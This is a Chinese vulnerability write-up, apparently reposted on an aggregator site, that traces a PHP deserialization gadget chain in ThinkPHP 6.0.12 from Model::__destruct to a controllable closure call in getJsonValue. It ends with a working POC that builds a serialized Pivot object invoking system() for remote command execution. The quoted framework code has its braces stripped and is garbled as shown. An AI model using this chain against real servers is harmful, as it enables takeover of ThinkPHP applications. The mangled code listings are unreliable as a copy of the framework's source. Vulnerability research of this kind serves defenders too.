Thinkphp最新版本漏洞分析

Posted kali_Ma

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Thinkphp最新版本漏洞分析相关的知识,希望对你有一定的参考价值。

环境

Thinkphp6.0.12LTS(目前最新版本);

PHP7.3.4。

安装

composer create-project topthink/think tp6

测试代码

漏洞分析

漏洞起点不是__desturct就是__wakeup全局搜索下,起点在vendor\\topthink\\think-orm\\src\\Model.php

只要把this->lazySave设为True,就会调用了save方法。

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

跟进save方法,漏洞方法是updateData,但需要绕过①且让②为True,①调用isEmpty方法。

public function save(array $data = [], string $sequence = null): bool
    
        // 数据对象赋值
        $this->setAttrs($data);
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) 
            return false;
        
        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

跟进isEmpty方法,只要$this->data不为空就行。

$this->trigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。

protected function updateData(): bool
    
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) 
            return false;
        
        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) 
            // 关联更新
            if (!empty($this->relationWrite)) 
                $this->autoRelationUpdate();
            
            return true;
        
        if ($this->autoWriteTimestamp && $this->updateTime) 
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        
        // 检查允许字段
        $allowFields = $this->checkAllowFields();

跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。

protected function checkAllowFields(): array
    
        // 检测字段
        if (empty($this->field)) 
            if (!empty($this->schema)) 
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
             else 
                $query = $this->db();

跟进db方法,存在$this->table . $this->suffix字符串拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。

public function db($scope = []): Query
    
        /** @var Query $query */
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
        if (!empty($this->table)) 
            $query->table($this->table . $this->suffix);
        

全局搜索__toString方法,最后选择vendor\\topthink\\think-orm\\src\\model\\concern\\Conversion.php类中的__toString方法。

跟进__toString方法,调用了toJson方法。

跟进toJson方法,调用了toArray方法,然后以JSON格式返回。

跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把$data设为数组就行。

public function toArray(): array
    
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) 
            if (is_string($val)) 
                if (strpos($val, '.')) 
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                 else 
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                
                unset($this->visible[$key]);
            
        
        foreach ($this->hidden as $key => $val) 
            if (is_string($val)) 
                if (strpos($val, '.')) 
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                 else 
                    $this->hidden[$val] = true;
                
                unset($this->hidden[$key]);
            
        

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) 
            if ($val instanceof Model || $val instanceof ModelCollection) 
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) 
                    $val->visible($this->visible[$key]);
                 elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) 
                    $val->hidden($this->hidden[$key]);
                
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) 
                    $item[$key] = $val->toArray();
                
             elseif (isset($this->visible[$key])) 
                $item[$key] = $this->getAttr($key);
             elseif (!isset($this->hidden[$key]) && !$hasVisible) 
                $item[$key] = $this->getAttr($key);

跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。

public function getAttr(string $name)
    
        try 
            $relation = false;
            $value    = $this->getData($name);
         catch (InvalidArgumentException $e) 
            $relation = $this->isRelationAttr($name);
            $value    = null;
        

        return $this->getValue($name, $value, $relation);

跟进getData方法,$this->data可控,$fieldName来自getRealFieldName方法。

跟进getRealFieldName方法,默认直接返回传入的参数。所以$fieldName也可控,也就是传入getValue$value参数可控。

跟进getValue方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断,$this->withAttr$this->json都可控,可顺利进入getJsonValue方法。

protected function getValue(string $name, $value, $relation = false)
    
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->get)) 
            return $this->get[$fieldName];
        

        $method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) 
            if ($relation) 
                $value = $this->getRelationValue($relation);
            
            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) 
                $value = $this->getJsonValue($fieldName, $value);

跟进getJsonValue方法,触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssocTrue就行。

$closure$value都可控。

protected function getJsonValue($name, $value)
    
        if (is_null($value)) 
            return $value;
        

        foreach ($this->withAttr[$name] as $key => $closure) 
            if ($this->jsonAssoc) 
                $value[$key] = $closure($value[$key], $value);

完整POP链条

POC编写

<?php
namespace think
    abstract class Model
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
            $this->lazySave = True;
            $this->data = ['whoami' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        
    

namespace think\\model
    use think\\Model;
    class Pivot extends Model
    


namespace
    echo(base64_encode(serialize(new think\\model\\Pivot(new think\\model\\Pivot()))));


利用

以上是关于Thinkphp最新版本漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell

ThinkPHP 5.x远程命令执行漏洞分析与复现

ThinkPHP V5(漏洞解析及利用)及tornado知识点

ThinkPHP 1.5.0 漏洞求助

thinkphp 怎么利用漏洞

跨境电商平台开发